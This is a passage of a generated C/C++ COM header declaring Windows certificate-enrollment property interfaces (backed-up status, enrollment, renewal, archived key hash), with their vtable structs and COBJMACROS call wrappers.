ICertPropertyBackedUp * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyBackedUp * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyBackedUp * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCurrentTime )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL BackedUpValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL BackedUpValue,\n            /* [in] */ DATE Date);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BackedUpValue )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BackedUpTime )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        END_INTERFACE\n    } ICertPropertyBackedUpVtbl;\n\n    interface ICertPropertyBackedUp\n    {\n        CONST_VTBL struct ICertPropertyBackedUpVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyBackedUp_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyBackedUp_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyBackedUp_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyBackedUp_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyBackedUp_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyBackedUp_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyBackedUp_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyBackedUp_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyBackedUp_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyBackedUp_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyBackedUp_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyBackedUp_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyBackedUp_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyBackedUp_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyBackedUp_InitializeFromCurrentTime(This,BackedUpValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromCurrentTime(This,BackedUpValue) ) \n\n#define ICertPropertyBackedUp_Initialize(This,BackedUpValue,Date)\t\\\n    ( (This)->lpVtbl -> Initialize(This,BackedUpValue,Date) ) \n\n#define ICertPropertyBackedUp_get_BackedUpValue(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_BackedUpValue(This,pValue) ) \n\n#define ICertPropertyBackedUp_get_BackedUpTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> get_BackedUpTime(This,pDate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyBackedUp_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollment_INTERFACE_DEFINED__\n#define __ICertPropertyEnrollment_INTERFACE_DEFINED__\n\n/* interface ICertPropertyEnrollment */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyEnrollment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab339-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyEnrollment : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in BSTR strCADnsName,\n            /* [in] */ __RPC__in BSTR strCAName,\n            /* [defaultvalue][in] */ __RPC__in BSTR strFriendlyName = 0) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CADnsName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CAName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyEnrollmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyEnrollment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyEnrollment * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyEnrollment * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in BSTR strCADnsName,\n            /* [in] */ __RPC__in BSTR strCAName,\n            /* [defaultvalue][in] */ __RPC__in BSTR strFriendlyName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CADnsName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyEnrollmentVtbl;\n\n    interface ICertPropertyEnrollment\n    {\n        CONST_VTBL struct ICertPropertyEnrollmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyEnrollment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyEnrollment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyEnrollment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyEnrollment_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyEnrollment_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyEnrollment_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyEnrollment_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyEnrollment_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollment_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyEnrollment_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyEnrollment_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyEnrollment_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyEnrollment_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollment_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyEnrollment_Initialize(This,RequestId,strCADnsName,strCAName,strFriendlyName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,RequestId,strCADnsName,strCAName,strFriendlyName) ) \n\n#define ICertPropertyEnrollment_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_CADnsName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CADnsName(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_CAName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAName(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyEnrollment_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyRenewal_INTERFACE_DEFINED__\n#define __ICertPropertyRenewal_INTERFACE_DEFINED__\n\n/* interface ICertPropertyRenewal */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyRenewal;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33a-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyRenewal : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificateHash( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Renewal( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyRenewalVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyRenewal * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyRenewal * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyRenewal * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificateHash )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Renewal )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyRenewalVtbl;\n\n    interface ICertPropertyRenewal\n    {\n        CONST_VTBL struct ICertPropertyRenewalVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyRenewal_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyRenewal_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyRenewal_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyRenewal_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyRenewal_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyRenewal_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyRenewal_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyRenewal_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyRenewal_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyRenewal_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyRenewal_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyRenewal_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyRenewal_Initialize(This,Encoding,strRenewalValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strRenewalValue) ) \n\n#define ICertPropertyRenewal_InitializeFromCertificateHash(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificateHash(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_get_Renewal(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Renewal(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyRenewal_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__\n#define __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__\n\n/* interface ICertPropertyArchivedKeyHash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyArchivedKeyHash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33b-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyArchivedKeyHash : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strArchivedKeyHashValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ArchivedKeyHash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyArchivedKeyHashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyArchivedKeyHash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyArchivedKeyHash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyArchivedKeyHash * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            